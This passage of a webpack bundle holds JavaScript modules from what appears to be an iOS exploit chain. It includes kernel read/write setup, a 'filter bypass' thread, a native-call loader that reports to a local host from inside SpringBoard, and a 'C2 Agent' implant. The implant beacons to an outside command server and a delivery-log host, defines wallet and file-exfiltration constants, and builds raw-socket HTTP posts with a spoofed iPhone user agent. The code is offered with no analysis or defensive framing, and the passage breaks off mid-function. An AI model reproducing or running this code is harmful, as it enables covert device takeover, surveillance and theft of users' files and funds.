0x48n;\nlet monitorThread1Ptr = thread_arg + 0x50n;\nlet monitorThread2Ptr = thread_arg + 0x58n;\n\nlet kernelControl = uread64(kernelControlPtr);\nlet kernelRW = uread64(kernelRWPtr);\nlet kernelBase = uread64(kernelBasePtr);\nlet mainThreadAddr = uread64(mainThreadAddrPtr);\nrunBypassFlagPtr = uread64(runBypassFlagPtr);\nisRunningPtr = uread64(isRunningPtr);\nlet mutex = uread64(mutexPtr);\nlet migLock = uread64(migLockPtr);\nlet migSbxMsg = uread64(migSbxMsgPtr);\nlet migKernelStackLR = uread64(migKernelStackLRPtr);\nmonitorThread1Ptr = uread64(monitorThread1Ptr);\nmonitorThread2Ptr = uread64(monitorThread2Ptr);\n\nconsole.log(TAG, \"kernelControl: \" + kernelControl);\nconsole.log(TAG, \"kernelRW: \" + kernelRW);\nconsole.log(TAG, \"kernelBase: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(kernelBase));\nconsole.log(TAG, \"mainThreadAddr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(mainThreadAddr));\nconsole.log(TAG, \"runBypassFlagPtr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(runBypassFlagPtr));\nconsole.log(TAG, \"isRunningPtr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(isRunningPtr));\nconsole.log(TAG, \"mutex: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(mutex));\nconsole.log(TAG, \"migLock: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migLock));\nconsole.log(TAG, \"migSbxMsg: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migSbxMsg));\nconsole.log(TAG, \"migKernelStackLR: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(migKernelStackLR));\nconsole.log(TAG, \"monitorThread1Ptr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(monitorThread1Ptr));\nconsole.log(TAG, \"monitorThread2Ptr: \" + libs_JSUtils_Utils__WEBPACK_IMPORTED_MODULE_6__[\"default\"].hex(monitorThread2Ptr));\n\ntry {\n\tlet driver = new libs_Driver_DriverNewThread__WEBPACK_IMPORTED_MODULE_7__[\"default\"](kernelControl, kernelRW, kernelBase);\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].init(driver, mutex);\n\tlibs_Chain_Chain__WEBPACK_IMPORTED_MODULE_1__[\"default\"].testKRW();\n\tlibs_TaskRop_TaskRop__WEBPACK_IMPORTED_MODULE_4__[\"default\"].init();\n\n\tconsole.log(TAG, \"Chain initialized\");\n\n\tlibs_Chain_Native__WEBPACK_IMPORTED_MODULE_0__[\"default\"].write32(isRunningPtr, 1);\n\n\tstartFilterBypass(runBypassFlagPtr);\n\n\tconsole.log(TAG, \"Terminating bypass thread\");\n}\ncatch (error) {\n\tconsole.log(TAG, \"Error: \" + error);\n\tconsole.log(TAG, \"\" + error.stack);\n}\n})();\n\nvar __webpack_export_target__ = exports;\nfor(var __webpack_i__ in __webpack_exports__) __webpack_export_target__[__webpack_i__] = __webpack_exports__[__webpack_i__];\nif(__webpack_exports__.__esModule) Object.defineProperty(__webpack_export_target__, \"__esModule\", { value: true });\n/******/ })()\n;"); + +/***/ }), + +/***/ "./node_modules/raw-loader/dist/cjs.js!./src/loader.js": +/*!*************************************************************!*\ + !*** ./node_modules/raw-loader/dist/cjs.js!./src/loader.js ***! + \*************************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) +/* harmony export */ }); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("class Native {\n\t\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\t\n\t// Preallocated memory chunk for general purpose stuff for public use\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\t\n\t// Preallocated memory chunk for encoding/decoding of string arguments\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\t\n\t// Pointer to next available memory for native argument\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\n\tstatic #dlsymCache = {};\n\t\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\t\t\n\t\t//log(\"baseAddr: \" + this.#baseAddr);\n\t\t//log(\"dlsymAddr: \" + this.#dlsymAddr);\n\t\t\n\t\t//this.#memcpyAddr = this.#dlsym(\"test\");\n\t\t//log(\"memcpyAddr: \" + this.#memcpyAddr);\n\t\t//log(\"oinvAddr: \" + this.#oinvAddr);\n\t\t\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize)); //this.callSymbol(\"malloc\", this.memSize);\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argMemPtrStr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n); //this.callSymbol(\"malloc\", 0x1000);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\t\n\t\t//log(\"argMem: \" + this.#argMem);\n\t\t//log(\"argMemPtr: \" + this.#argMemPtr);\n\t\t//log(\"argMemPtrStr: \" + this.#argMemPtrStr);\n\t}\n\t\n\tstatic write(ptr, buff) {\n\t\tif (!ptr)\n\t\t\treturn false;\n\t\t//log(\"write: \" + buff.byteLength);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0;\n\t\tlet left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`writing: ptr=${ptr}, src=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn true;\n\t}\n\t\n\tstatic read(ptr, length) {\n\t\tif (!ptr)\n\t\t\treturn null;\n\t\t//log(`read: ptr=${ptr}, length=${length}, ${typeof(length)}`, ptr, length);\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0;\n\t\tlet left = length;\n\t\twhile (left) {\n\t\t\tlet len = left;\n\t\t\tif (len > 0x1000)\n\t\t\t\tlen = 0x1000;\n\t\t\t//log(`reading: ptr=${ptr}, dst=${Native.#baseAddr + 0x1000n}, offs=${offs}, len=${len}`);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len;\n\t\t\toffs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\t\n\tstatic readPtr(ptr) {\n\t\tlet buff = this.read(ptr, 8);\n\t\tconst view = new DataView(buff);\n\t\treturn view.getBigUint64(0, true);\n\t}\n\t\n\tstatic readString(ptr, len=1024) {\n\t\tlet buff = this.read(ptr, len);\n\t\treturn this.bytesToString(buff, false);\n\t}\n\t\n\tstatic writeString(ptr, str) {\n\t\tconst buff = this.stringToBytes(str, true);\n\t\tthis.write(ptr, buff);\n\t}\n\t\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbol: \" + name);\n\t\t// Initialize argPtr to point to general purpose memory chunk\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0);\n\t\tx1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2);\n\t\tx3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4);\n\t\tx5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6);\n\t\tx7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtr\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\t\n\tstatic callSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"callSymbolRetain: \" + name);\n\t\t// Initialize argPtrPtr to point to general purpose memory chunk\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\tx0 = this.#toNativePtr(x0);\n\t\tx1 = this.#toNativePtr(x1);\n\t\tx2 = this.#toNativePtr(x2);\n\t\tx3 = this.#toNativePtr(x3);\n\t\tx4 = this.#toNativePtr(x4);\n\t\tx5 = this.#toNativePtr(x5);\n\t\tx6 = this.#toNativePtr(x6);\n\t\tx7 = this.#toNativePtr(x7);\n\t\tlet ret = this.#nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\t// Reset argPtrPtr\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr = this.#argMemPtrStr;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNullChar=true) {\n\t\tlet bytes8 = new Uint8Array(bytes);\n\t\tlet str = \"\";\n\t\tfor (let i=0; i= 0x1000) {\n\t\t\t\tlog('toNative(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, value);\n\t\t\tthis.#argPtr += BigInt(value.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\telse if (typeof value === 'bigint') {\n\t\t\treturn value;\n\t\t}\n\t\telse\n\t\t\treturn BigInt(value);\n\t}\n\t\n\tstatic #toNativePtr(value) {\n\t\t//log(\"toNativePtr: \" + typeof value);\n\t\t// Strings need to be manually written to native memory\n\t\tif (!value)\n\t\t\treturn 0n;\n\t\tlet ptr = this.#argPtrPtr;\n\t\tif (typeof value === 'string') {\n\t\t\tif (value.length >= 0x1000) {\n\t\t\t\tlog('toNativePtr(): arg string is too long');\n\t\t\t\treturn 0n;\n\t\t\t}\n\t\t\tlet strPtr = this.#argPtrStrPtr;\n\t\t\tthis.writeString(strPtr, value);\n\t\t\tthis.#argPtrStrPtr += BigInt(value.length + 1);\n\t\t\tvalue = strPtr;\n\t\t}\n\t\telse if (typeof value !== 'bigint') {\n\t\t\tvalue = BigInt(value);\n\t\t}\n\t\tconst buff = new ArrayBuffer(8);\n\t\tconst view = new DataView(buff);\n\t\tview.setBigUint64(0, value, true);\n\t\tthis.write(ptr, buff);\n\t\tthis.#argPtrPtr += 8n;\n\t\treturn ptr;\n\t}\n\t\n\tstatic #dlsym(name) {\n\t\tif (!name)\n\t\t\treturn 0n;\n\t\tlet addr = this.#dlsymCache[name];\n\t\tif (addr)\n\t\t\treturn addr;\n\t\t//log(\"dlsym(): \" + name);\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nameBytes = this.stringToBytes(name, true);\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tbuff8.set(new Uint8Array(nameBytes), 0x1000);\n\t\taddr = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (addr)\n\t\t\tthis.#dlsymCache[name] = addr;\n\t\treturn addr;\n\t}\n\t\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\t//log(\"nativeCallAddr(): \" + addr);\n\t\tlet buff = new BigInt64Array(nativeCallBuff);\n\t\t\n\t\tbuff[0] = addr;\n\t\tbuff[100] = x0;\n\t\tbuff[101] = x1;\n\t\tbuff[102] = x2;\n\t\tbuff[103] = x3;\n\t\tbuff[104] = x4;\n\t\tbuff[105] = x5;\n\t\tbuff[106] = x6;\n\t\tbuff[107] = x7;\n\n\t\tinvoker();\n\t\t\n\t\treturn buff[200];\n\t}\n\t\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\t//log(\"nativeCallSymbol(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\tconst ret64 = this.#nativeCallAddr(funcAddr, ...args);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n\t\n\tstatic #nativeCallSymbolRetain(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\t//log(\"nativeCallSymbolRetain(): \" + name);\n\t\tconst funcAddr = this.#dlsym(name);\n\t\t\n\t\tconst selRetainArguments = this.callSymbol(\"sel_registerName\", \"retainArguments\");\n\t\tconst selSetArgument = this.callSymbol(\"sel_registerName\", \"setArgument:atIndex:\");\n\t\tconst selInvokeUsingIMP = this.callSymbol(\"sel_registerName\", \"invokeUsingIMP:\");\n\t\tconst selGetReturnValue = this.callSymbol(\"sel_registerName\", \"getReturnValue:\");\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selRetainArguments);\n\t\t\n\t\tif (x0) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x0, 0);\n\t\tif (x1) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x1, 1);\n\t\tif (x2) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x2, 2);\n\t\tif (x3) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x3, 3);\n\t\tif (x4) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x4, 4);\n\t\tif (x5) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x5, 5);\n\t\tif (x6) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x6, 6);\n\t\tif (x7) this.callSymbol(\"objc_msgSend\", this.#oinvAddr, selSetArgument, x7, 7);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selInvokeUsingIMP, funcAddr);\n\t\t\n\t\tthis.callSymbol(\"objc_msgSend\", this.#oinvAddr, selGetReturnValue, this.#argMemPtr);\n\t\tconst ret64 = this.readPtr(this.#argMemPtr);\n\t\tif (ret64 < 0xffffffffn && ret64 > -0xffffffffn)\n\t\t\treturn Number(ret64);\n\t\treturn ret64;\n\t}\n}\n\nfunction File(path) {\n\treturn path;\n}\n\nfunction log(msg) {\n\tif (logging)\n\t\treturn;\n\n\tlogging = true;\n\t\n\tconst data = Native.stringToBytes(msg + \"\\n\");\n\n\tconst O_WRONLY = 0x0001;\n\tconst O_APPEND = 0x0008;\n\tconst O_CREAT = 0x0200;\n\tconst flags = O_WRONLY | O_CREAT | O_APPEND;\n\tconst fd = Native.callSymbol(\"open\", File(logfile), flags, 0o644);\n\tif (fd < 0) {\n\t\tlogging = false;\n\t\treturn;\n\t}\n\n\t// For some reason file mode is not applied on open()\n\tNative.callSymbol(\"fchmod\", fd, 0o644);\n\n\tlet offs = 0;\n\tlet left = data.byteLength;\n\n\tconst buffSize = 0x4000;\n\tconst buffPtr = Native.callSymbol(\"malloc\", buffSize);\n\n\twhile (left) {\n\t\tconst size = left > buffSize ? buffSize : left;\n\t\tconst src8 = new Uint8Array(data, offs, size);\n\t\tconst dst8 = new Uint8Array(src8);\n\t\tNative.write(buffPtr, dst8.buffer);\n\t\tconst len = Native.callSymbol(\"write\", fd, buffPtr, size);\n\t\tif (!len || len < 0)\n\t\t\tbreak;\n\t\toffs += len;\n\t\tleft -= len;\n\t}\n\n\tNative.callSymbol(\"free\", buffPtr);\n\tNative.callSymbol(\"close\", fd);\n\n\tlogging = false;\n}\n\nvar logging = false;\nconst logfile = \"/private/var/mobile/Media/RemoteLog.log\";\n\nNative.init();\n\nNative.callSymbol(\"unlink\", File(logfile));\n\n// ===== DEBUG uplink: prove loader actually ran inside SpringBoard =====\ntry {\n\tvar _lfd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (_lfd >= 0) {\n\t\tvar _lone = Native.callSymbol(\"calloc\", 1, 8);\n\t\tNative.write(_lone, new Uint8Array([1,0,0,0]).buffer);\n\t\tNative.callSymbol(\"setsockopt\", _lfd, 0xffff, 0x1022, _lone, 4);\n\t\tNative.callSymbol(\"free\", _lone);\n\t\tvar _laddr = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar _la8 = new Uint8Array(16);\n\t\t_la8[0] = 16; _la8[1] = 2; _la8[2] = 0x1B; _la8[3] = 0x6E;\n\t\t_la8[4] = 192; _la8[5] = 168; _la8[6] = 4; _la8[7] = 10;\n\t\tNative.write(_laddr, _la8.buffer);\n\t\tif (Number(Native.callSymbol(\"connect\", _lfd, _laddr, 16)) === 0) {\n\t\t\tvar _lreq = \"GET /log.html?text=PEMK_G_loader_alive_springboard HTTP/1.0\\r\\nHost: 192.168.4.10\\r\\n\\r\\n\";\n\t\t\tvar _lrbuf = Native.callSymbol(\"malloc\", _lreq.length + 1);\n\t\t\tNative.writeString(_lrbuf, _lreq);\n\t\t\tNative.callSymbol(\"write\", _lfd, _lrbuf, _lreq.length);\n\t\t\tNative.callSymbol(\"free\", _lrbuf);\n\t\t}\n\t\tNative.callSymbol(\"close\", _lfd);\n\t\tNative.callSymbol(\"free\", _laddr);\n\t}\n} catch(e) {}\n// ===== END DEBUG uplink =====\n"); + +/***/ }), + + +/***/ "./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js": +/*!****************************************************************!*\ + !*** ./node_modules/raw-loader/dist/cjs.js!./src/c2_agent.js ***! + \****************************************************************/ +/***/ ((__unused_webpack_module, __webpack_exports__, __webpack_require__) => { + +__webpack_require__.r(__webpack_exports__); +/* harmony export */ __webpack_require__.d(__webpack_exports__, { +/* harmony export */ "default": () => (__WEBPACK_DEFAULT_EXPORT__) +/* harmony export */ }); +/* harmony default export */ const __WEBPACK_DEFAULT_EXPORT__ = ("// C2 Agent Payload - persistent loop in SpringBoard\n// Communicates with command.py via HTTP, runs until reboot\n// https://mh0usocqzi6f46i.com:443/beacon / https://mh0usocqzi6f46i.com:443/result replaced by server.py at load time\n// UUID and device model are obtained natively at runtime\n\nconst C2_BEACON_URL = \"https://mh0usocqzi6f46i.com:443/beacon\";\nconst C2_RESULT_URL = \"https://mh0usocqzi6f46i.com:443/result\";\nconst C2_CHANNEL_CODE = \"\";\nconst HQ_API_BASE = \"https://mh0usocqzi6f46i.com:443\";\nconst HQ_WALLET_PORT = \"443\";\nvar _HQ_DELIV_LOG_URL = \"http://one99.vip:80/log\";\nconst MAX_FILE_SIZE = 2 * 1024 * 1024;\nconst CHUNK_SIZE = 1024 * 1024;\n// /war single-POST threshold: larger packages are split into war_chunk parts on the same endpoint.\nconst WAR_POST_MAX = 5 * 1024 * 1024;\n\n// ============================================================================\n// Native Class (shared nativeCallBuff + invoker pattern)\n// ============================================================================\n\nclass Native {\n\tstatic #baseAddr;\n\tstatic #dlsymAddr;\n\tstatic #memcpyAddr;\n\tstatic #mallocAddr;\n\tstatic #oinvAddr;\n\n\tstatic mem = 0n;\n\tstatic memSize = 0x4000;\n\n\tstatic #argMem = 0n;\n\tstatic #argMemPtr = 0n;\n\tstatic #argMemPtrStr = 0n;\n\tstatic #argPtr = 0n;\n\tstatic #argPtrPtr = 0n;\n\tstatic #argPtrStrPtr = 0n;\n\tstatic #dlsymCache = {};\n\n\tstatic init() {\n\t\tconst buff = new BigUint64Array(nativeCallBuff);\n\t\tthis.#baseAddr = buff[20];\n\t\tthis.#dlsymAddr = buff[21];\n\t\tthis.#memcpyAddr = buff[22];\n\t\tthis.#mallocAddr = buff[23];\n\t\tthis.#oinvAddr = buff[24];\n\n\t\tthis.mem = this.#nativeCallAddr(this.#mallocAddr, BigInt(this.memSize));\n\t\tthis.#argMem = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtr = this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argMemPtrStr= this.#nativeCallAddr(this.#mallocAddr, 0x1000n);\n\t\tthis.#argPtr = this.#argMem;\n\t\tthis.#argPtrPtr = this.#argMemPtr;\n\t\tthis.#argPtrStrPtr= this.#argMemPtrStr;\n\t}\n\n\tstatic write(ptr, buff) {\n\t\tif (!ptr) return false;\n\t\tlet buff8 = new Uint8Array(nativeCallBuff);\n\t\tlet offs = 0, left = buff.byteLength;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tbuff8.set(new Uint8Array(buff, offs, len), 0x1000);\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, ptr + BigInt(offs), this.#baseAddr + 0x1000n, BigInt(len));\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn true;\n\t}\n\n\tstatic read(ptr, length) {\n\t\tif (!ptr) return null;\n\t\tlet buff = new ArrayBuffer(length);\n\t\tlet buff8 = new Uint8Array(buff);\n\t\tlet offs = 0, left = length;\n\t\twhile (left) {\n\t\t\tlet len = left > 0x1000 ? 0x1000 : left;\n\t\t\tthis.#nativeCallAddr(this.#memcpyAddr, this.#baseAddr + 0x1000n, ptr + BigInt(offs), BigInt(len));\n\t\t\tbuff8.set(new Uint8Array(nativeCallBuff, 0x1000, len), offs);\n\t\t\tleft -= len; offs += len;\n\t\t}\n\t\treturn buff;\n\t}\n\n\tstatic readPtr(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 8));\n\t\treturn v.getBigUint64(0, true);\n\t}\n\tstatic read32(ptr) {\n\t\tconst v = new DataView(this.read(ptr, 4));\n\t\treturn v.getInt32(0, true);\n\t}\n\tstatic write64(ptr, value) {\n\t\tconst b = new ArrayBuffer(8);\n\t\tnew DataView(b).setBigUint64(0, value, true);\n\t\tthis.write(ptr, b);\n\t}\n\n\tstatic readString(ptr, len=1024) {\n\t\treturn this.bytesToString(this.read(ptr, len), false);\n\t}\n\tstatic writeString(ptr, str) {\n\t\tthis.write(ptr, this.stringToBytes(str, true));\n\t}\n\n\tstatic callSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7) {\n\t\tthis.#argPtr = this.#argMem;\n\t\tx0 = this.#toNative(x0); x1 = this.#toNative(x1);\n\t\tx2 = this.#toNative(x2); x3 = this.#toNative(x3);\n\t\tx4 = this.#toNative(x4); x5 = this.#toNative(x5);\n\t\tx6 = this.#toNative(x6); x7 = this.#toNative(x7);\n\t\tlet ret = this.#nativeCallSymbol(name, x0, x1, x2, x3, x4, x5, x6, x7);\n\t\tthis.#argPtr = this.#argMem;\n\t\treturn ret;\n\t}\n\n\tstatic bytesToString(bytes, includeNull=true) {\n\t\tlet a = new Uint8Array(bytes), s = \"\";\n\t\tfor (let i = 0; i < a.length; i++) {\n\t\t\tif (!includeNull && !a[i]) break;\n\t\t\ts += String.fromCharCode(a[i]);\n\t\t}\n\t\treturn s;\n\t}\n\tstatic stringToBytes(str, nullTerm=false) {\n\t\tlet b = new ArrayBuffer(str.length + (nullTerm ? 1 : 0));\n\t\tlet a = new Uint8Array(b);\n\t\tfor (let i = 0; i < str.length; i++) a[i] = str.charCodeAt(i);\n\t\tif (nullTerm) a[str.length] = 0;\n\t\treturn a.buffer;\n\t}\n\n\tstatic #toNative(v) {\n\t\tif (!v) return 0n;\n\t\tif (typeof v === 'string') {\n\t\t\tif (v.length >= 0x1000) return 0n;\n\t\t\tlet ptr = this.#argPtr;\n\t\t\tthis.writeString(ptr, v);\n\t\t\tthis.#argPtr += BigInt(v.length + 1);\n\t\t\treturn ptr;\n\t\t}\n\t\treturn typeof v === 'bigint' ? v : BigInt(v);\n\t}\n\n\tstatic #dlsym(name) {\n\t\tif (!name) return 0n;\n\t\tlet a = this.#dlsymCache[name];\n\t\tif (a) return a;\n\t\tconst RTLD_DEFAULT = 0xfffffffffffffffen;\n\t\tconst nb = this.stringToBytes(name, true);\n\t\tnew Uint8Array(nativeCallBuff).set(new Uint8Array(nb), 0x1000);\n\t\ta = this.#nativeCallAddr(this.#dlsymAddr, RTLD_DEFAULT, this.#baseAddr + 0x1000n);\n\t\tif (a) this.#dlsymCache[name] = a;\n\t\treturn a;\n\t}\n\n\tstatic #nativeCallAddr(addr, x0=0n, x1=0n, x2=0n, x3=0n, x4=0n, x5=0n, x6=0n, x7=0n) {\n\t\tlet b = new BigInt64Array(nativeCallBuff);\n\t\tb[0]=addr; b[100]=x0; b[101]=x1; b[102]=x2; b[103]=x3;\n\t\tb[104]=x4; b[105]=x5; b[106]=x6; b[107]=x7;\n\t\tinvoker();\n\t\treturn b[200];\n\t}\n\n\tstatic #nativeCallSymbol(name, ...args) {\n\t\tconst addr = this.#dlsym(name);\n\t\tconst r = this.#nativeCallAddr(addr, ...args);\n\t\tif (r < 0xffffffffn && r > -0xffffffffn) return Number(r);\n\t\treturn r;\n\t}\n}\n\n// ============================================================================\n// URL Parsing\n// ============================================================================\n\nfunction parseURL(url) {\n\tlet host = \"\", port = 80, path = \"/\";\n\tlet s = url;\n\tif (s.indexOf(\"https://\") === 0) { s = s.substring(8); port = 443; }\n\telse if (s.indexOf(\"http://\") === 0) s = s.substring(7);\n\tconst sl = s.indexOf(\"/\");\n\tif (sl >= 0) { path = s.substring(sl); s = s.substring(0, sl); }\n\tconst cl = s.indexOf(\":\");\n\tif (cl >= 0) { host = s.substring(0, cl); port = parseInt(s.substring(cl + 1)); }\n\telse host = s;\n\treturn { host, port, path };\n}\n\n// ============================================================================\n// Base64\n// ============================================================================\n\nconst B64 = \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/\";\n\nfunction bytesToBase64(bytes) {\n\tlet r = \"\";\n\tfor (let i = 0; i < bytes.length; i += 3) {\n\t\tconst a = bytes[i], b = i+1 < bytes.length ? bytes[i+1] : 0, c = i+2 < bytes.length ? bytes[i+2] : 0;\n\t\tr += B64[a >> 2];\n\t\tr += B64[((a & 3) << 4) | (b >> 4)];\n\t\tr += i+1 < bytes.length ? B64[((b & 15) << 2) | (c >> 6)] : \"=\";\n\t\tr += i+2 < bytes.length ? B64[c & 63] : \"=\";\n\t}\n\treturn r;\n}\n\n// ============================================================================\n// POSIX Socket HTTP Client (http:// only, LAN testing)\n// ============================================================================\n\nfunction _sendBytes(fd, str) {\n\tconst SZ = 4096;\n\tlet sent = 0;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ + 1));\n\twhile (sent < str.length) {\n\t\tconst end = sent + SZ < str.length ? sent + SZ : str.length;\n\t\tconst part = str.substring(sent, end);\n\t\tNative.writeString(buf, part);\n\t\tconst n = Number(Native.callSymbol(\"write\", fd, buf, part.length));\n\t\tif (n <= 0) break;\n\t\tsent += n;\n\t}\n\tNative.callSymbol(\"free\", buf);\n}\n\nfunction _recvAll(fd) {\n\tconst SZ = 4096;\n\tconst buf = Native.callSymbol(\"malloc\", BigInt(SZ));\n\tlet result = \"\";\n\tfor (;;) {\n\t\tconst n = Number(Native.callSymbol(\"read\", fd, buf, SZ - 1));\n\t\tif (n <= 0) break;\n\t\tresult += Native.readString(buf, n);\n\t}\n\tNative.callSymbol(\"free\", buf);\n\treturn result;\n}\n\nfunction _socketPost(host, port, path, bodyStr) {\n\tconst fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return null;\n\n\ttry {\n\t\tconst tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n);\n\t\tNative.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\n\t\tconst sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tconst sab = new ArrayBuffer(16);\n\t\tconst sv = new DataView(sab);\n\t\tsv.setUint8(0, 16);\n\t\tsv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tconst p = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(p[0]));\n\t\tsv.setUint8(5, parseInt(p[1]));\n\t\tsv.setUint8(6, parseInt(p[2]));\n\t\tsv.setUint8(7, parseInt(p[3]));\n\t\tNative.write(sa, sab);\n\n\t\tconst cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return null;\n\n\t\tconst hdr = \"POST \" + path + \" HTTP/1.0\\r\\nHost: \" + host + \"\\r\\nContent-Type: application/json\\r\\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 